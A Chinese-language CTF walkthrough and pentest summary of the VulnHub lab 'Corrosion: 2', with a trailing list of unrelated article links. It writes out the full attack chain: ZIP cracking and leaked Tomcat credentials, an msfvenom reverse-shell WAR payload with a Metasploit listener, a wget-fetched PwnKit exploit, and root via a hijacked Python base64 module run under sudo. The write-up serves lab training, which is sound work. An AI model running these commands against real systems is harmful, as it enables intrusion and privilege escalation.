当前位置: 首页 > ds >正文

Corrosion: 2靶场渗透

Corrosion: 2

来自 <Corrosion: 2 ~ VulnHub>

 

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.152

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.152

 

4,访问80端口开放的http服务

扫描枚举网站子目录

gobuster dir -u http://192.168.23.152/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip

什么都没有

 

5,再访问8080端口开放的http服务

弱口令尝试登录失败,再扫描枚举其子目录

gobuster dir -u http://192.168.23.152:8080/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 403,404,400

http://192.168.23.152:8080/backup.zip

得到一个压缩包,解压即可。但是需要密码,解压失败

 

6,使用zip2john把加密 ZIP压缩包的密码哈希提取出来。它本身 不会破解密码,而是把压缩包转化成 JtR 能识别的哈希格式,再交给 John 去跑字典或暴力破解。

zip2john backup.zip > password_hash.txt

然后使用john对hash字典进行解密

john --wordlist=/usr/share/wordlists/rockyou.txt password_hash.txt

成功得到压缩包密码@administrator_hi5

解压缩包成功,在里面阅读泄露的敏感信息

cat tomcat-users.xml

成功得到账户密码,并且能够登录后台

manager:melehifokivai

admin:melehifokivai

 

7,java语言编写的tomcat框架爆出来过很多漏洞,例如文件上传。这里使用metasploit进行getshell,首先生成war文件木马

msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.23.128 LPORT=4444 -f war -o shell.war

然后msfconsole打开监听模块

msfconsole -q

use exploit/multi/handler

set payload java/meterpreter/reverse_tcp

set LHOST 192.168.23.128

set LPORT 4444

run

然后上传java木马

点击进入这个网页即可触发,然后成功getshell

 

8,进入shell的管理页面,尝试获取可交互式shell

shell

python3 -c 'import pty;pty.spawn("/bin/bash")'

信息收集一下

sudo -l需要密码,这个提权目前行不通

在目录/home/randy中有第一个 flag,并且从/home/randy/note.txt得到提示

兰迪,你好,我是系统管理员,希望你今天过得愉快!我想告知你,我已修改了你主目录的权限。目前你暂时无法删除或添加文件。

之后我会重新调整这些权限。

下周一见,兰迪!

9,发现 jaye 用户的密码和 manager 的密码一样都是 : melehifokivai

su jaye

python3 -c 'import pty;pty.spawn("/bin/bash")'

find / -perm -u=s -type f 2>/dev/null

查找具有 SUID 的命令发现polkit-agent-helper-1

1. 什么是 polkit

  • Polkit (PolicyKit) 是 Linux/Unix 系统中一套 权限管理框架
  • 它用于在 非特权用户 需要执行 特权操作 时,进行认证和授权。
  • 例如:
    • 普通用户尝试挂载硬盘
    • GUI 界面里点击“以管理员身份运行”
    • 网络管理器修改系统配置

这些操作都依赖 polkit 来决定是否允许,并提示输入密码。

2. polkit-agent-helper-1 的作用

  • polkit-agent-helper-1 是 Polkit 的认证助手程序
  • 它通常位于:

/usr/lib/policykit-1/polkit-agent-helper-1

  • 主要功能:
    1. 提示用户输入密码(通常是 root 或自己账户的密码)。
    2. 将密码提交给 polkitd(守护进程) 进行验证。
    1. 验证通过后,允许进程临时以更高权限执行操作。

换句话说,它是 polkit 的“桥梁”,在需要用户认证时负责交互。

3. 安全属性

-rwsr-xr-- 1 root root 42952 Mar 21  2024 /usr/lib/policykit-1/polkit-agent-helper-1

几个特点:

  • SUID root:带有 s 权限,意味着它会以 root 身份运行。
  • 受 polkitd 控制:不会随意给用户提权,而是严格遵循 polkit 策略。
  • 高价值目标:由于它是 SUID root 程序,如果存在漏洞(例如缓冲区溢出、命令注入),可能被滥用来提权。

4. 使用场景举例

  • 你在 GNOME、KDE 桌面点击“以管理员身份运行”。
  • 系统弹出一个对话框要求输入密码。
  • 实际上就是调用了 polkit-agent-helper-1,让你输入密码,并验证。

5. 安全研究 & 提权角度

  1. 正常行为
    • 它不会单独给用户 root 权限,必须配合 polkit 策略使用。
  2. 潜在风险
    • 由于它是 SUID root 程序,攻击者如果找到漏洞,就可能绕过 polkit 验证直接提权。
    • 历史上出现过相关提权漏洞,例如:
      • CVE-2021-3560(polkit 权限绕过,Ubuntu/Fedora 等受影响)。
      • 结合 polkit-agent-helper-1 的调用逻辑,可以获取 root shell。
  3. 检测与防御
    • 检查它的权限:ls -l /usr/lib/policykit-1/polkit-agent-helper-1
    • 更新系统,修复 polkit 漏洞。
    • 审计是否存在非正常调用行为。

总结

  • polkit-agent-helper-1 是 Polkit 权限认证框架的 SUID 助手程序
  • 它负责弹出密码提示并与 polkitd 通信,决定是否允许用户执行特权操作。
  • 本身是 高价值提权目标,需要保持系统更新,避免利用漏洞被攻击者滥用。

10,那么就可以利用CVE-2021-4034进行提权

export https_proxy="http://192.168.99.74:7897"

git clone GitHub - berdav/CVE-2021-4034: CVE-2021-4034 1day

cd CVE-2021-4034 

gcc -o cve-2021-4034 cve-2021-4034.c -static

python -m http.server

然后靶机下载已经编译好的exp

wget http://192.168.23.128:8000/cve-2021-4034

chmod 777 cve-2021-4034

./cve-2021-4034

脚本提权失败,太多问题。

11,randy用户密码可以爆破出来是07051986randy,ssh登录一下

ssh randy@192.168.23.152

看看sudo权限能做什么

再去查看这个python脚本功能和权限

脚本本身不可写入。但是调用了base64模块,那么我们就可以查看base64模块有无调用系统命令的能力,是否可以被写入,在其中加上shell

先写引入os模块,

在写入os.system("/bin/bash")

保存并退出。

12,sudo python3.8运行randombase64.py 脚本

sudo /usr/bin/python3.8 /home/randy/randombase64.py

提权成功,并且得到flag

Corrosion 2 渗透测试报告

1. 测试环境与前期准备

本次渗透测试选取了 Corrosion 2 虚拟靶机,攻击机与靶机网络均调整为 NAT 模式,以确保局域网互通。

通过局域网扫描确认攻击机和靶机 IP 分别为:

  • 攻击机:192.168.23.128
  • 靶机:192.168.23.152

初步的网络探测和服务扫描是后续渗透攻击的基础,为漏洞发现提供依据。

2. 网络服务扫描与Web服务枚举

  1. 对靶机全端口和服务版本进行探测,发现 Web 服务在 80 端口和 8080 端口均有开放。
  2. 对 80 端口进行目录枚举,但未发现可用的敏感目录或文件。
  3. 对 8080 端口进行进一步枚举,尝试弱口令登录和子目录扫描时,发现了 /backup.zip 压缩包。
    • 压缩包存在密码保护,无法直接访问。

3. 加密 ZIP 文件分析与密码破解

通过分析 ZIP 文件可知,其密码未知,需借助密码哈希提取工具将其转换为可破解格式。

  • 提取哈希后使用字典攻击成功破解密码,得到压缩包的密码。
  • 解压缩包后,发现敏感信息,包括 Tomcat 用户配置文件,泄露了管理员账户及密码。
  • 该阶段展示了 信息收集、密码破解与敏感数据利用 的完整流程。

4. Web 服务利用与反弹 Shell

  1. 靶机 8080 端口运行 Tomcat 框架,使用 Java 语言编写,具备文件上传漏洞风险。
  2. 结合已知漏洞利用工具生成 WAR 包木马,并在监听模块等待目标连接。
  3. 上传木马并访问触发页面后,成功获得了反弹 Shell。
  4. 进一步将 Shell 升级为交互式 Shell,以便执行后续信息收集和权限探测。

此阶段体现了 Java Web Exploit、反弹 Shell 获取与交互式权限维护 技术。

5. 系统信息收集与本地权限探索

  1. 通过用户权限检查发现,当前用户无法直接使用 sudo 提升权限。
  2. 在用户主目录中发现第一个 flag,并根据系统管理员留下的提示信息获得线索。
  3. 发现在同一台机器上的其他用户账户(jaye)与 Tomcat 管理员账户密码一致。
  4. 切换用户后,搜索具有 SUID 位的可执行文件,发现 polkit-agent-helper-1。

6. polkit-agent-helper-1 技术分析

  • 背景:Polkit 是 Linux 系统中用于权限管理的框架,负责非特权用户请求特权操作时的认证与授权。
  • 作用:polkit-agent-helper-1 是 Polkit 的认证助手程序,负责弹出密码提示并与守护进程通信,决定是否允许操作。
  • 安全属性
    • SUID root 可执行程序,意味着其以 root 身份运行。
    • 正常情况下受 Polkit 策略严格控制,不会任意提权。
  • 潜在风险:历史上曾存在 CVE 漏洞(如 CVE-2021-3560),攻击者可以利用 SUID 特性绕过验证,实现 root 权限获取。

该阶段展示了 本地权限枚举、SUID 程序分析与潜在提权目标评估 技术。

7. 本地提权尝试与漏洞分析

  1. 利用 CVE-2021-4034(PwnKit)进行 Polkit 权限绕过尝试,但由于依赖的系统库版本与目标环境不匹配,脚本提权失败。
  2. 对 randy 用户进行密码获取与 SSH 登录后,评估 sudo 权限配置,发现可执行特定 Python 脚本。
  3. 分析该 Python 脚本逻辑及依赖模块,发现其使用 base64 模块可调用系统命令。
  4. 通过在脚本中引入系统调用,结合 sudo 权限执行脚本,实现权限提升,获得 root 权限并成功获取目标 flag。

该阶段体现了 本地提权漏洞分析、脚本滥用技术与 SUID/模块权限利用 技术。

http://www.xdnf.cn/news/19837.html

相关文章:

  • B样条曲线节点消去方法介绍
  • SylixOS 下的信号系统
  • Python面试题及详细答案150道(91-100) -- 迭代器与生成器篇
  • 鸿蒙HarmonyOS应用开发者认证:抢占万物智联时代先机
  • 净利润超10亿元,智能类产品18倍增长!顾家家居2025年半年报业绩:零售增长强劲,整家定制多维突破,全球深化布局!|商派
  • Mysql安全之 TDE ,列加密,审计日志
  • Watt Toolkit下载安装并加速GitHub
  • AI 時代的白帽與黑帽 SEO:最佳實踐與趨勢解析
  • form表达和实体类通常有什么不同
  • STM32之SPI详解
  • 【IntelliJ IDEA】插件分享
  • 设计软件启动失败?“找不到vcruntime140.dll,无法继续执行代码” 场景化解决方案来了
  • 作为软件专业学生,我眼中新架构实践的‘稳’与‘进’
  • 【算法】哈希表专题
  • 【Lua】题目小练13
  • 多线程的三种实现方法
  • C#基础(⑦user32.dll)
  • 各省市信息化项目管理办法中的网络安全等级保护如何规定的?
  • 前缀树约束大语言模型解码
  • 05 Centos 7尝试是否有网络
  • 深入浅出 RabbitMQ-RabbitMQ消息确认机制(ACK)
  • 解锁WebRTC在数字人领域的无限潜能
  • 【音视频】火山引擎实时、低延时拥塞控制算法的优化实践
  • centos系统如何判断是是x86还是x64?
  • ansible变量+管理机密
  • AV1 HEADERS详解
  • 专为 SOC 分析师和 MSSP 设计的威胁搜寻指南
  • flink中的窗口的介绍
  • mysql5.6+分页时使用 limit+order by 会出现数据重复问题
  • Mysql杂志(七)